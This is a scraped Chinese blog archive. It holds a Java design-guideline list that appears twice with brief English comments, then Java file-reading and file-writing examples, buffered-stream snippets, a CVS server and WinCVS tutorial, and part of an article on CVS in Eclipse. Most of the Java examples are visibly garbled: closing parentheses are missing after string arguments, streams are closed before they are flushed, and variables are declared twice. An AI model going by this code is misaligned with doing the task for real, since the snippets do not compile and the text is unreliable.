(10) 任何时候只要发现类与类之间结合得非常紧密，就需要考虑是否采用内部类，从而改善编码及维护工作（参见第14章14.1.2小节的"用内部类改进代码"）。
(11) 尽可能细致地加上注释，并用javadoc注释文档语法生成自己的程序文档。
(12) 避免使用"魔术数字"，这些数字很难与代码很好地配合。如以后需要修改它，无疑会成为一场噩梦，因为根本不知道"100"到底是指"数组大小"还是"其他全然不同的东西"。所以，我们应创建一个常数，并为其使用具有说服力的描述性名称，并在整个程序中都采用常数标识符。这样可使程序更易理解以及更易维护。
(13) 涉及构建器和异常的时候，通常希望重新丢弃在构建器中捕获的任何异常--如果它造成了那个对象的创建失败。这样一来，调用者就不会以为那个对象已正确地创建，从而盲目地继续。
(14) 当客户程序员用完对象以后，若你的类要求进行任何清除工作，可考虑将清除代码置于一个良好定义的方法里，采用类似于cleanup()这样的名字，明确表明自己的用途。除此以外，可在类内放置一个boolean（布尔）标记，指出对象是否已被清除。在类的finalize()方法里，请确定对象已被清除，并已丢弃了从RuntimeException继承的一个类（如果还没有的话），从而指出一个编程错误。在采取象这样的方案之前，请确定finalize()能够在自己的系统中工作（可能需要调用System.runFinalizersOnExit(true)，从而确保这一行为）。
(15) 在一个特定的作用域内，若一个对象必须清除（非由垃圾收集机制处理），请采用下述方法：初始化对象；若成功，则立即进入一个含有finally从句的try块，开始清除工作。
(16) 若在初始化过程中需要覆盖（取消）finalize()，请记住调用super.finalize()（若Object属于我们的直接超类，则无此必要）。在对finalize()进行覆盖的过程中，对super.finalize()的调用应属于最后一个行动，而不应是第一个行动，这样可确保在需要基础类组件的时候它们依然有效。
(17) 创建大小固定的对象集合时，请将它们传输至一个数组（若准备从一个方法里返回这个集合，更应如此操作）。这样一来，我们就可享受到数组在编译期进行类型检查的好处。此外，为使用它们，数组的接收者也许并不需要将对象"造型"到数组里。
(18) 尽量使用interfaces，不要使用abstract类。若已知某样东西准备成为一个基础类，那么第一个选择应是将其变成一个interface（接口）。只有在不得不使用方法定义或者成员变量的时候，才需要将其变成一个abstract（抽象）类。接口主要描述了客户希望做什么事情，而一个类则致力于（或允许）具体的实施细节。
(19) 在构建器内部，只进行那些将对象设为正确状态所需的工作。尽可能地避免调用其他方法，因为那些方法可能被其他人覆盖或取消，从而在构建过程中产生不可预知的结果（参见第7章的详细说明）。
(20) 对象不应只是简单地容纳一些数据；它们的行为也应得到良好的定义。
(21) 在现成类的基础上创建新类时，请首先选择"新建"或"创作"。只有自己的设计要求必须继承时，才应考虑这方面的问题。若在本来允许新建的场合使用了继承，则整个设计会变得没有必要地复杂。
(22) 用继承及方法覆盖来表示行为间的差异，而用字段表示状态间的区别。一个非常极端的例子是通过对不同类的继承来表示颜色，这是绝对应该避免的：应直接使用一个"颜色"字段。
(23) 为避免编程时遇到麻烦，请保证在自己类路径指到的任何地方，每个名字都仅对应一个类。否则，编译器可能先找到同名的另一个类，并报告出错消息。若怀疑自己碰到了类路径问题，请试试在类路径的每一个起点，搜索一下同名的.class文件。
(24) 在Java 1.1 AWT中使用事件"适配器"时，特别容易碰到一个陷阱。若覆盖了某个适配器方法，同时拼写方法没有特别讲究，最后的结果就是新添加一个方法，而不是覆盖现成方法。然而，由于这样做是完全合法的，所以不会从编译器或运行期系统获得任何出错提示--只不过代码的工作就变得不正常了。
(25) 用合理的设计方案消除"伪功能"。也就是说，假若只需要创建类的一个对象，就不要提前限制自己使用应用程序，并加上一条"只生成其中一个"注释。请考虑将其封装成一个"独生子"的形式。若在主程序里有大量散乱的代码，用于创建自己的对象，请考虑采纳一种创造性的方案，将些代码封装起来。
(26) 警惕"分析瘫痪"。请记住，无论如何都要提前了解整个项目的状况，再去考察其中的细节。由于把握了全局，可快速认识自己未知的一些因素，防止在考察细节的时候陷入"死逻辑"中。
(27) 警惕"过早优化"。首先让它运行起来，再考虑变得更快--但只有在自己必须这样做、而且经证实在某部分代码中的确存在一个性能瓶颈的时候，才应进行优化。除非用专门的工具分析瓶颈，否则很有可能是在浪费自己的时间。性能提升的隐含代价是自己的代码变得难于理解，而且难于维护。
(28) 请记住，阅读代码的时间比写代码的时间多得多。思路清晰的设计可获得易于理解的程序，但注释、细致的解释以及一些示例往往具有不可估量的价值。无论对你自己，还是对后来的人，它们都是相当重要的。如对此仍有怀疑，那么请试想自己试图从联机Java文档里找出有用信息时碰到的挫折，这样或许能将你说服。
(29) 如认为自己已进行了良好的分析、设计或者实施，那么请稍微更换一下思维角度。试试邀请一些外来人士--并不一定是专家，但可以是来自本公司其他部门的人。请他们用完全新鲜的眼光考察你的工作，看看是否能找出你一度熟视无睹的问题。采取这种方式，往往能在最适合修改的阶段找出一些关键性的问题，避免产品发行后再解决问题而造成的金钱及精力方面的损失。
(30) 良好的设计能带来最大的回报。简言之，对于一个特定的问题，通常会花较长的时间才能找到一种最恰当的解决方案。但一旦找到了正确的方法，以后的工作就轻松多了，再也不用经历数小时、数天或者数月的痛苦挣扎。我们的努力工作会带来最大的回报（甚至无可估量）。而且由于自己倾注了大量心血，最终获得一个出色的设计方案，成功的快感也是令人心动的。坚持抵制草草完工的诱惑--那样做往往得不偿失
(3) 对于自己创建的每一个类，都考虑置入一个main()，其中包含了用于测试那 个类的代码。为使用一个项目中的类，我们没必要删除测试代码。若进行了任 何形式的改动，可方便地返回测试。这些代码也可作为如何使用类的一个示例 使用。
this is absolutly bad!
(4) 应将方法设计成简要的、功能性单元，用它描述和实现一个不连续的类接 口部分。理想情况下，方法应简明扼要。若长度很大，可考虑通过某种方式将 其分割成较短的几个方法。这样做也便于类内代码的重复使用（有些时候，方 法必须非常大，但它们仍应只做同样的一件事情）。
(5) 设计一个类时，请设身处地为客户程序员考虑一下（类的使用方法应该是 非常明确的）。然后，再设身处地为管理代码的人考虑一下（预计有可能进行 哪些形式的修改，想想用什么方法可把它们变得更简单）。
(6) 使类尽可能短小精悍，而且只解决一个特定的问题。下面是对类设计的一 些建议：
■一个复杂的开关语句：考虑采用"多形"机制
■数量众多的方法涉及到类型差别极大的操作：考虑用几个类来分别实现
■许多成员变量在特征上有很大的差别：考虑使用几个类
(7) 让一切东西都尽可能地"私有"--private。可使库的某一部分"公共化"（一个 方法、类或者一个字段等等），就永远不能把它拿出。若强行拿出，就可能破 坏其他人现有的代码，使他们不得不重新编写和设计。若只公布自己必须公布 的，就可放心大胆地改变其他任何东西。在多线程环境中，隐私是特别重要的 一个因素--只有private字段才能在非同步使用的情况下受到保护。
not necessary , pretotect or package level also fine in most case
(8) 谨惕"巨大对象综合症"。对一些习惯于顺序编程思维、且初涉OOP领域的新 手，往往喜欢先写一个顺序执行的程序，再把它嵌入一个或两个巨大的对象 里。根据编程原理，对象表达的应该是应用程序的概念，而非应用程序本身。
(9) 若不得已进行一些不太雅观的编程，至少应该把那些代码置于一个类的内 部。
(10) 任何时候只要发现类与类之间结合得非常紧密，就需要考虑是否采用内部 类，从而改善编码及维护工作（参见第14章14.1.2小节的"用内部类改进代 码"）。
(11) 尽可能细致地加上注释，并用javadoc注释文档语法生成自己的程序文档。
(12) 避免使用"魔术数字"，这些数字很难与代码很好地配合。如以后需要修改 它，无疑会成为一场噩梦，因为根本不知道"100"到底是指"数组大小"还是"其 他全然不同的东西"。所以，我们应创建一个常数，并为其使用具有说服力的描 述性名称，并在整个程序中都采用常数标识符。这样可使程序更易理解以及更 易维护。
(13) 涉及构建器和异常的时候，通常希望重新丢弃在构建器中捕获的任何异常- -如果它造成了那个对象的创建失败。这样一来，调用者就不会以为那个对象已 正确地创建，从而盲目地继续。
(14) 当客户程序员用完对象以后，若你的类要求进行任何清除工作，可考虑将 清除代码置于一个良好定义的方法里，采用类似于cleanup()这样的名字，明确 表明自己的用途。除此以外，可在类内放置一个boolean（布尔）标记，指出 对象是否已被清除。在类的finalize()方法里，请确定对象已被清除，并已丢弃 了从RuntimeException继承的一个类（如果还没有的话），从而指出一个编程 错误。在采取象这样的方案之前，请确定finalize()能够在自己的系统中工作 （可能需要调用System.runFinalizersOnExit(true)，从而确保这一行为）。
(15) 在一个特定的作用域内，若一个对象必须清除（非由垃圾收集机制处 理），请采用下述方法：初始化对象；若成功，则立即进入一个含有finally从 句的try块，开始清除工作。
(16) 若在初始化过程中需要覆盖（取消）finalize()，请记住调用 super.finalize()（若Object属于我们的直接超类，则无此必要）。在对finalize() 进行覆盖的过程中，对super.finalize()的调用应属于最后一个行动，而不应是第 一个行动，这样可确保在需要基础类组件的时候它们依然有效。
(17) 创建大小固定的对象集合时，请将它们传输至一个数组（若准备从一个方 法里返回这个集合，更应如此操作）。这样一来，我们就可享受到数组在编译 期进行类型检查的好处。此外，为使用它们，数组的接收者也许并不需要将对 象"造型"到数组里。
(18) 尽量使用interfaces，不要使用abstract类。若已知某样东西准备成为一个 基础类，那么第一个选择应是将其变成一个interface（接口）。只有在不得不 使用方法定义或者成员变量的时候，才需要将其变成一个abstract（抽象） 类。接口主要描述了客户希望做什么事情，而一个类则致力于（或允许）具体 的实施细节。
they are total diffrent ,
(19) 在构建器内部，只进行那些将对象设为正确状态所需的工作。尽可能地避 免调用其他方法，因为那些方法可能被其他人覆盖或取消，从而在构建过程中 产生不可预知的结果（参见第7章的详细说明）。
(20) 对象不应只是简单地容纳一些数据；它们的行为也应得到良好的定义。
(21) 在现成类的基础上创建新类时，请首先选择"新建"或"创作"。只有自己的设 计要求必须继承时，才应考虑这方面的问题。若在本来允许新建的场合使用了 继承，则整个设计会变得没有必要地复杂。
(22) 用继承及方法覆盖来表示行为间的差异，而用字段表示状态间的区别。一 个非常极端的例子是通过对不同类的继承来表示颜色，这是绝对应该避免的： 应直接使用一个"颜色"字段。
(23) 为避免编程时遇到麻烦，请保证在自己类路径指到的任何地方，每个名字 都仅对应一个类。否则，编译器可能先找到同名的另一个类，并报告出错消 息。若怀疑自己碰到了类路径问题，请试试在类路径的每一个起点，搜索一下 同名的.class文件。
classpath is not that simple
(24) 在Java 1.1 AWT中使用事件"适配器"时，特别容易碰到一个陷阱。若覆盖了 某个适配器方法，同时拼写方法没有特别讲究，最后的结果就是新添加一个方 法，而不是覆盖现成方法。然而，由于这样做是完全合法的，所以不会从编译 器或运行期系统获得任何出错提示--只不过代码的工作就变得不正常了。
(25) 用合理的设计方案消除"伪功能"。也就是说，假若只需要创建类的一个对 象，就不要提前限制自己使用应用程序，并加上一条"只生成其中一个"注释。 请考虑将其封装成一个"独生子"的形式。若在主程序里有大量散乱的代码，用 于创建自己的对象，请考虑采纳一种创造性的方案，将些代码封装起来。
(26) 警惕"分析瘫痪"。请记住，无论如何都要提前了解整个项目的状况，再去 考察其中的细节。由于把握了全局，可快速认识自己未知的一些因素，防止在 考察细节的时候陷入"死逻辑"中。
(27) 警惕"过早优化"。首先让它运行起来，再考虑变得更快--但只有在自己必须 这样做、而且经证实在某部分代码中的确存在一个性能瓶颈的时候，才应进行 优化。除非用专门的工具分析瓶颈，否则很有可能是在浪费自己的时间。性能 提升的隐含代价是自己的代码变得难于理解，而且难于维护。
but know early and design better at first is always necesary, or else
you die
(28) 请记住，阅读代码的时间比写代码的时间多得多。思路清晰的设计可获得 易于理解的程序，但注释、细致的解释以及一些示例往往具有不可估量的价 值。无论对你自己，还是对后来的人，它们都是相当重要的。如对此仍有怀 疑，那么请试想自己试图从联机Java文档里找出有用信息时碰到的挫折，这样 或许能将你说服。
(29) 如认为自己已进行了良好的分析、设计或者实施，那么请稍微更换一下思 维角度。试试邀请一些外来人士--并不一定是专家，但可以是来自本公司其他 部门的人。请他们用完全新鲜的眼光考察你的工作，看看是否能找出你一度熟 视无睹的问题。采取这种方式，往往能在最适合修改的阶段找出一些关键性的 问题，避免产品发行后再解决问题而造成的金钱及精力方面的损失。
(30) 良好的设计能带来最大的回报。简言之，对于一个特定的问题，通常会花 较长的时间才能找到一种最恰当的解决方案。但一旦找到了正确的方法，以后 的工作就轻松多了，再也不用经历数小时、数天或者数月的痛苦挣扎。我们的 努力工作会带来最大的回报（甚至无可估量）。而且由于自己倾注了大量心 血，最终获得一个出色的设计方案，成功的快感也是令人心动的。坚持抵制草 草完工的诱惑--那样做往往得不偿失
javatech 发表于
>2005-7-14 10:39:42 [全文] [评论] [引用] [推荐] [档案] [推给好友] [收藏到网摘]
|
|
|
2005-6-14
Java 中对文件的读写操作之比较
Java 对文件进行读写操作的例子很多，让初学者感到十分困惑，我觉得有必要将各种方法进行
一次分析，归类，理清不同方法之间的异同点。
一．在 JDK 1.0 中，通常是用 InputStream & OutputStream 这两个基类来进行读写操作的。
InputStream 中的 FileInputStream 类似一个文件句柄，通过它来对文件进行操作，类似的，在
OutputStream 中我们有 FileOutputStream 这个对象。
用FileInputStream 来读取数据的常用方法是：
FileInputStream fstream = new FileInputStream(args[0]);
DataInputStream in = new DataInputStream(fstream);
用 in.readLine() 来得到数据，然后用 in.close() 关闭输入流。
完整代码见 Example 1。
用FileOutputStream 来写入数据的常用方法是：
FileOutputStream out out = new FileOutputStream("myfile.txt";
PrintStream p = new PrintStream( out ;
用 p.println() 来写入数据，然后用 p.close() 关闭输入。
完整代码见 Example 2。
二．在 JDK 1.1中，支持两个新的对象 Reader & Writer, 它们只能用来对文本文件进行操作，而
JDK1.1中的 InputStream & OutputStream 可以对文本文件或二进制文件进行操作。
用FileReader 来读取文件的常用方法是：
FileReader fr = new FileReader("mydata.txt";
BufferedReader br = new BufferedReader(fr);
用 br.readLing() 来读出数据，然后用br.close() 关闭缓存，用fr.close() 关闭文件。
完整代码见 Example 3。
用 FileWriter 来写入文件的常用方法是：
FileWriter fw = new FileWriter("mydata.txt";
PrintWriter out = new PrintWriter(fw);
在用out.print 或 out.println 来往文件中写入数据，out.print 和 out.println的唯一区别是后者写
入数据或会自动开一新行。写完后要记得 用out.close() 关闭输出，用fw.close() 关闭文件。
完整代码见 Example 4。
-------------------------------------------------------------- following is the source code of examples------------------------------------------------------
Example 1:
// FileInputDemo
// Demonstrates FileInputStream and DataInputStream
import java.io.*;
class FileInputDemo {
public static void main(String args[]) {
// args.length is equivalent to argc in C
if (args.length == 1) {
try {
// Open the file that is the first command line parameter
FileInputStream fstream = new FileInputStream(args[0]);
// Convert our input stream to a DataInputStream
DataInputStream in = new DataInputStream(fstream);
// Continue to read lines while there are still some left to read
while (in.available() !=0) {
// Print file line to screen
System.out.println (in.readLine());
}
in.close();
} catch (Exception e) {
System.err.println("File input error";
}
}
else
System.out.println("Invalid parameters";
}
}
Example 2:
// FileOutputDemo
// Demonstration of FileOutputStream and PrintStream classes
import java.io.*;
class FileOutputDemo
{
public static void main(String args[]) {
FileOutputStream out; // declare a file output object
PrintStream p; // declare a print stream object
try {
// connected to "myfile.txt"
out = new FileOutputStream("myfile.txt";
// Connect print stream to the output stream
p = new PrintStream( out ;
p.println ("This is written to a file";
p.close();
} catch (Exception e) {
System.err.println ("Error writing to file";
}
}
}
Example 3:
// FileReadTest.java
// User FileReader in JDK1.1 to read a file
import java.io.*;
class FileReadTest {
public static void main (String[] args) {
FileReadTest t = new FileReadTest();
t.readMyFile();
}
void readMyFile() {
String record = null;
int recCount = 0;
try {
FileReader fr = new FileReader("mydata.txt";
BufferedReader br = new BufferedReader(fr);
record = new String();
while ((record = br.readLine()) != null) {
recCount++;
System.out.println(recCount + ": " + record);
}
br.close();
fr.close();
} catch (IOException e) {
System.out.println("Uh oh, got an IOException error!";
e.printStackTrace();
}
}
}
Example 4:
// FileWriteTest.java
// User FileWriter in JDK1.1 to writer a file
import java.io.*;
class FileWriteTest {
public static void main (String[] args) {
FileWriteTest t = new FileWriteTest();
t.WriteMyFile();
}
void WriteMyFile() {
try {
FileWriter fw = new FileWriter("mydata.txt";
PrintWriter out = new PrintWriter(fw);
out.print(“hi,this will be wirte into the file!”);
out.close();
fw.close();
} catch (IOException e) {
System.out.println("Uh oh, got an IOException error!";
e.printStackTrace();
}
}
}
javatech 发表于
>2005-6-14 19:43:43 [全文] [评论] [引用] [推荐] [档案] [推给好友] [收藏到网摘]
|
|
|
2005-6-14
BufferedInputStream&BufferedOutputStream的使用
实例一：
FileOutputStream fos=new FileOutputStream("suntao.txt";
BufferedOutputStream bufStream=new BufferedOutputStream(fos);
bufStream.write(1);
bufStream.write(2);
bufStream.write(3);
bufStream.close();
bufStream.flush(); // Flushes this buffered output stream，如果不进行此操作，将会得到预料不到的值.
FileInputStream fis=new FileInputStream("suntao.txt";
BufferedInputStream bufStream=new BufferedInputStream(fis);
int a=bufStream.read();
int b=bufStream.read();
int c=bufStream.read();
System.out.println(a);
System.out.println(b);
System.out.println(c);
实例二：
System.out.println("BufferedInputStream&BufferedOutputStream的使用";
FileOutputStream fos=new FileOutputStream("suntao.txt";
BufferedOutputStream bout=new BufferedOutputStream(fos);
DataOutputStream dos=new DataOutputStream(bout);
String title="World and peace";
int year=1000;
dos.writeUTF(title);
dos.writeInt(year);
bout.flush(); //调用dos.close()也可以。关闭尾端的流，其他的流也接着关闭。所以可以刷新缓冲区.
FileInputStream fis=new FileInputStream("suntao.txt";
BufferedInputStream bin=new BufferedInputStream(fis);
DataInputStream dis=new DataInputStream(bin);
String title=dis.readUTF();
int year=dis.readInt();
附加： FileOutputStream--->BufferedOutputStream---->DataOutputStream
javatech 发表于
>2005-6-14 19:41:10 [全文] [评论] [引用] [推荐] [档案] [推给好友] [收藏到网摘]
|
|
|
2005-6-14
本站专注于Java与MySQL数据库技术
本人一直在从事Java与MySQL的开发工作。
主要是在参考Struts的基础上，自己开发了一套FrameWork。成功的案例为：
http://www.s520.cc 采用Java+Servlet/JSP+MySQL
近期又在此FrameWork的基础上引入了Hibernate技术。成功的案例为：
http://www.1qu.cn 采用Java+Servlet/JSP+Hibernate2.0+MySQL
|
|
|
|
http://www.cnblogs.com/Mento/archive/2005/11/05/269286.aspx
CVS使用经验谈(zz from chinaunix.net)
CVS使用经验谈
来源:龚天乙 (2005-08-24 17:43:18)
CVS 是 Concurrent Version System（并行版本系统）的缩写，用于版本管理。在多人团队开发中的作用更加明显。CVS 的基本工作思路是这样的：在一台服务器上建立一个仓库，仓库里可以存放许多不同项目的源程序。由仓库管理员统一管理这些源程序。这样，就好象只有一个人在修改文件一样。避免了冲突。每个用户在使用仓库之前，首先要把仓库里的项目文件下载到本地。用户做的任何修改首先都是在本地进行，然后用 cvs 命令进行提交，由 cvs 仓库管理员统一 修改。这样就可以做到跟踪文件变化，冲突控制等等。
由于CVS是建立在在原先 Unix 体系里很成熟的 SCCS 和 RCS 的基础上，所以CVS多是Linux（UNIX）系统中所使用，本文中服务器端设置也是以Linux为例。
一、CVS服务器的安装
首先确认系统中是否安装CVS服务： [root@localhost /]# rpm -qa|grep cvscvs-1.11.2-cvshome.7x.1 如果命令输出类似于上面的输出则说明系统已经安装有cvs，否则就需要从安装光盘中安装cvs的rpm包，或者到http://www.cvshome.org下载。
1、建立 CVSROOT
目录，因为这里涉及到用户对CVSROOT里的文件读写的权限问题，所以比较简单的方法是建立一个组，然后再建立一个属于该组的帐户，而且以后有读写权限的用户都要属于该组。假设我们建一个组叫cvs，用户名是cvsroot。建组和用户的命令如下
#groupadd cvs#adduser cvsroot
生成的用户宿主目录在/home/cvsroot（根据自己的系统调整）
2、用cvsroot 用户登陆，修改 /home/cvsroot （CVSROOT）的权限，赋与同组人有读写的权限：
$chmod 771 . （或者770应该也可以）
注意：这一部分工作是按照文档说明做的，是否一定需要这样没有试验，我会在做试验后在以后版本的教程说得仔细一点。如果您有这方面的经验请提供给我，谢谢。
3、建立CVS仓库，（仍然是 cvsroot 用户），用下面命令：
$cvs -d /home/cvsroot init
4、以root身份登陆，修改 /etc/inetd.conf（使用 xinetd 的系统没有此文件）和 /etc/services
如果用的是 inetd 的系统，在 /etc/inetd.conf 里加入： cvsserver stream tcp nowait root /usr/bin/cvs cvs -f --allow-root=/home/cvsroot pserver
说明：上面的行是单独一整行，/usr/bin/cvs 应该是你的cvs版本的命令路径，请根据自己的系统调整．/home/cvsroot是你建立的CVSROOT的路径，也请根据上面建立目录的部分的内容做调整。
如果是使用 xinetd 的系统，需要在 /etc/xinetd.d/ 目录下创建文件 cvspserver（此名字可以自己定义），内容如下：
# default: on # description: The cvs server sessions;
service cvsserver { socket_type = stream wait = no user = root server = /usr/bin/cvs server_args = -f --allow-root=/cvsroot pserver log_on_failure += USERID only_from = 192.168.0.0/24 }
其中only_from是用来限制访问的，可以根据实际情况不要或者修改。修改该文件权限：
# chmod 644 cvspserver
在/etc/services里加入：
cvsserver 2401/tcp
说明：cvsserver 是任意的名称，但是不能和已有的服务重名，也要和上面修改 /etc/inetd.conf 那行的第一项一致。
5、添加可以使用 CVS 服务的用户到 cvs 组：
以 root 身份修改 /etc/group，把需要使用 CVS 的用户名加到 cvs 组里，比如我想让用户 laser 和gumpwu 能够使用 CVS 服务，那么修改以后的 /etc/group 应该有下面这样一行：
cvs:x:105:laser,gumpwu
在你的系统上GID可能不是105，没有关系。主要是要把laser和gumpwu用逗号分隔开写在最后一个冒号后面。当然，象RedHat等分发版有类似linuxconf这样的工具的话，用工具做这件事会更简单些。
6、重起inetd使修改生效：
#killall -HUP inetd
如果使用的是 xinetd 的系统：
# /etc/rc.d/init.d/xined restart
然后察看cvs服务器是否已经运行：[root@localhost /]# netstat -lnp|grep 2401 tcp 0 0 0.0.0.0:2401 0.0.0.0:* LISTEN 1041/xinetd则说明cvs服务器已经运行。
二、管理CVS服务器
服务器可以用了，现在大家最关心的就是如何管理服务器，比如，我想让一些人有读和/或写 CVS 仓库的权限，但是不想给它系统权限怎么办呢？
不难，在 cvs 管理员用户（在我这里是 cvsroot 用户）的家目录里有一个 CVSROOT 目录，这个目录里有三个配置文件，passwd, readers, writers，我们可以通过设置这三个文件来配置 CVS 服务器，下面分别介绍这几个文件的作用：
passwd：cvs 用户的用户列表文件，它的格式很象 shadow 文件：
{cvs 用户名}:[加密的口令]:[等效系统用户名]
如果你希望一个用户只是 cvs 用户，而不是系统用户，那么你就要设置这个文件，刚刚安装完之后这个文件可能不存在，你需要以 cvs 管理员用户手工创建，当然要按照上面格式，第二个字段是该用户的加密口令，就是用 crypt (3)加密的，你可以自己写一个程序来做加密，也可以用我介绍的偷懒的方法：先创建一个系统用户，名字和 cvs 用户一样，口令就是准备给它的 cvs 用户口令，创建完之后从 /etc/shadow 把该用户第二个字段拷贝过来，然后再把这个用户删除。这个方法对付数量少的用户比较方便，人一多就不合适了，而且还有冲突条件(race condition)的安全隐患，还要 root 权限，实在不怎么样。不过权益之计而已。写一个小程序并不难，可以到 linuxforum 的编程版搜索一下，有个朋友已经写了一个贴在上面了。
第三个字段就是等效系统用户名，实际上就是赋与一个 cvs 用户一个等效的系统用户的权限，看下面的例子你就明白它的功能了。
readers：有 cvs 读权限的用户列表文件。就是一个一维列表。在这个文件中的用户对 cvs只有读权限。
writers：有 cvs 写权限的用户的列表文件。和 readers 一样，是一个一维列表。在这个文件中的用户对 cvs 有写权限。
上面三个文件在缺省安装的时候可能都不存在，需要我们自己创建，好吧，现在还是让我们用一个例子来教学吧。假设我们有下面几个用户需要使用 cvs：
laser, gumpwu, henry, betty, anonymous。
其中 laser 和 gumpwu 是系统用户，而 henry, betty, anonymous 我们都不想给系统用户权限，并且 betty 和 anonymous 都是只读用户，而且 anonymous 更是连口令都没有。那么好，我们先做一些准备工作，先创建一个 cvspub 用户，这个用户的责任是代表所有非系统用户的 cvs 用户读写 cvs 仓库。
#adduser ...
然后编辑 /etc/group，令 cvspub 用户在 cvs 组里，同时把其它有系统用户权限的用户加到 cvs 组里。（见上文）
然后编辑 cvs 管理员家目录里 CVSROOT/passwd 文件，加入下面几行：
laser:$xxefajfka;faffa33:cvspub gumpwu:$ajfaal;323r0ofeeanv:cvspub henry:$fajkdpaieje:cvspub betty:fjkal;ffjieinfn/:cvspub anonymous::cvspub
注意：上面的第二个字段（分隔符为 :）是密文口令，你要用程序或者用我的土办法生成。
编辑 readers 文件，加入下面几行：
anonymous betty
编辑 writers 文件，加入下面几行：
laser gumpwu henry
注意：writers中的用户不能在readers中，要不然不能上传更新文件。
对于使用CVS的用户要修改它的环境变量，例如laser用户的环境变量，打开/home/laser（laser的宿主目录）下的.bash_profile文件，加入
CVSROOT=/home/cvsroot export CVSROOT
用laser登陆就可以建立CVS项目，如果要root使用，可以修改/etc/profile文件。
现在我们各项都设置好了，那么怎么用呢，我在这里写一个最简单的（估计也是最常用的）命令介绍：
首先，建立一个新的CVS项目，一般我们都已经有一些项目文件了，这样我们可以用下面步骤生成一个新的CVS项目：
进入到你的已有项目的目录，比如叫 cvstest：
$cd cvstest 运行命令： $cvs import -m "this is a cvstest project" cvstest v_0_0_1 start
说明：import 是cvs的命令之一，表示向cvs仓库输入项目文件。 -m参数后面的字串是描述文本，随便写些有意义的东西，如果不加 -m 参数，那么cvs会自动运行一个编辑器（一般是vi，但是可以通过修改环境变量EDITOR来改成你喜欢用的编辑器。）让你输入信息，cvstest 是项目名称（实际上是仓库名，在CVS服务器上会存储在以这个名字命名的仓库里。）v_0_0_1是这个分支的总标记。没啥用（或曰不常用。）start 是每次 import 标识文件的输入层次的标记，没啥用。这样我们就建立了一个CVS仓库了。
建立CVS仓库的文件夹应该是“干净”的文件夹，即只包括源码文件和描述的文件加，而不应该包括编译过的文件代码等！
三、使用CVS
winCVS是一个很好的CVS客户端软件，在http://cnpack.cosoft.org.cn/down/wincvsdailyguide.pdf可以下载到这个软件的使用手册。这里不在赘述了。
四、用CVS管理项目
本人正在一加公司从事该公司ERP项目的开发，在没有使用CVS的时候，多次出现了由于不同的开发人员修改同一程序，而导致程序错误，解决版本控制问题迫在眉睫。
由于这个项目采用Linux平台下JAVA开发，使用的开发工具Jbulider是支持CVS进行项目管理的，作为主程序员，我决定采用CVS进行版本控制，首先参照上文在Linux服务器上建立了CVS服务，然后我把我本地的工程文件传至服务器。
例如：我的工程文件在F:\ERP下，我把ERP下的erp.jpx文件、defaultroot文件夹和src文件夹上传至服务器/usr/local/erp下，然后登陆Linux服务器，登陆的用户是CVS的用户，其环境变量要正确（我的用户名为admin）
#cd /usr/local/erp #cvs import -m "this is a ERP project" erp v_0_0_1 start
这样名为erp的CVS仓库就建立了。
之后开发小组的成员可以用winCVS把该项目下载到本地：
打开winCVS
点击工具栏Create -> Create a new repository... 弹出窗口 在Grenral中 Enter the CVSROOT填写[email protected]:/home/cvsroot 其中admin是cvs的用户，在本例中admin也是linux的系统用户，192.168.1.9是服务器的地址，/home/cvsroot是CVS的主目录，参考上文。 Authentication中选择"passwd file on the cvs server" Use version中选择cvs 1.10 (Standard)
其它项默认即可。
确认后，点工具栏Admin --> Login... 会提示输入密码，输入密码后，看看winCvs的状态栏。如果提示
*****CVS exited normally with code 0*****
表示登录正常。
点击工具栏Create --> Checkout module...弹出对话框，其中的Checkout settings项中 Enter the module name and path on the server 填写erp，即我们建立的名为erp的CVS仓库 Local folder to checkout to 选择要下载到本地的目录，我选了F:\myerp
其它项目可以默认，确定后就可以下载到本地了，在F:\myerp\下会有一个erp文件夹，其文件结构和F:\erp下的文件结构是一样的。
用Jbulider打开F:\myerp\erp\下的erp.jpx文件，这个工程文件就可以使用了。
在Jbuilder的工具栏Team --> Select Project VCS 弹出对话框，选择CVS
对于你要进行修改的文件，在Project View中点中该文件，然后点右键，探出快捷菜单，选择CVS --> CVS Edit "xxxx.java（文件名）"
第一次使用可能会提示CVS服务器的密码。
在修改之前还要选择CVS --> Update "xxxx.java（文件名）"
修改之后选择CVS --> Commit "xxxx.java（文件名）"
这样，修改的文件就保存到CVS服务器了，Update的目的是下载、比较文件。每次在修改之前都Update，保持最新版本。
CVS在项目管理使用中确实起到了良好的效果，仔细研究CVS的命令，可以更好的发挥CVS在版本控制上的能力。
我的QQ是20896，欢迎大家来交流，也可以到我的论坛上讨论 http://www.laoer.com
参考资料：《CVS 简单教程》 作者：何伟平 《CVS服务器快速指南》 作者：何伟平
(http://www.fanqiang.com)
http://www.weiw.com/article/list.asp?id=618
在Eclipse 2.0中使用版本控制系统CVS
2003-9-18 伟网动力
董向辉 ([email protected])
2002 年 7 月
2002年6月28日，Eclipse 2.0正式版已经正式完成，这将是Java开发工具历史上的一个重要事件，Eclipse开始步入成熟阶段。本文借此机会介绍在Eclipse中使用版本控制系统CVS的一些经验和技巧。首先介绍为什么Eclipse要使用CVS来作为自己的版本控制系统而放弃了有着很好口碑的Visual Age Java的ENVY，然后简要讲述CVS系统的背景及NT平台下CVS服务器的安装和设置。接下来，针对Eclipse，详细讲解了使用CVS进行团队开发时的开发流程以及在Eclipse中具体使用的重要操作方法。
背景
在Visual Age Java之后，IBM推出了新一代的开放源码软件开发平台Eclipse，在此基础上打造其核心产品WebSphere家族。而对于大部分个人开发者而言，Eclipse作为一个崭新的Java集成开发环境提供了一个非常具有吸引力的选择，已经得到了越来越多开发者的关注和喜爱。
项目的版本控制对于团队开发是极端重要的，对于个人开发者也是项目复杂化时不可缺少的工具。
在Visual Age Java中，由于Visual Age Java特有的项目数据存储方式――所有的相关文件都存在一个二进制文件中，可以做到直接内置的版本控制，这一系统也就是著名的ENVY，它在Visual Age Java的使用者中有着非常好的口碑。
而在Eclipse中，情况有了变化。ENVY把项目数据存储在二进制文件中，也即所谓基于Repository的存储，而几乎所有其他集成开发环境的项目数据存储方式都是基于文件的，项目的所有相关文件直接作为物理文件存储在硬盘上。两种方式各有利弊，有许多刚接触Visual Age Java的用户很不习惯ENVY，认为看不见文件使得自己失去了直接感，反过来也有Visual Age Java的忠实用户极力支持和赞扬ENVY。（不过作者认为，在Visual Age Java中开发者至少可以几乎完全不用花心思在文件路径问题上，这个问题一般总是会耗费新手甚至老手的大量时间和精力。）在Eclipse中最终使用了基于文件的存储方式，这样增强了透明性和互操作性，但是要达到Visual Age Java以前做到的项目管理和源代码控制就必须采用不同的方式。
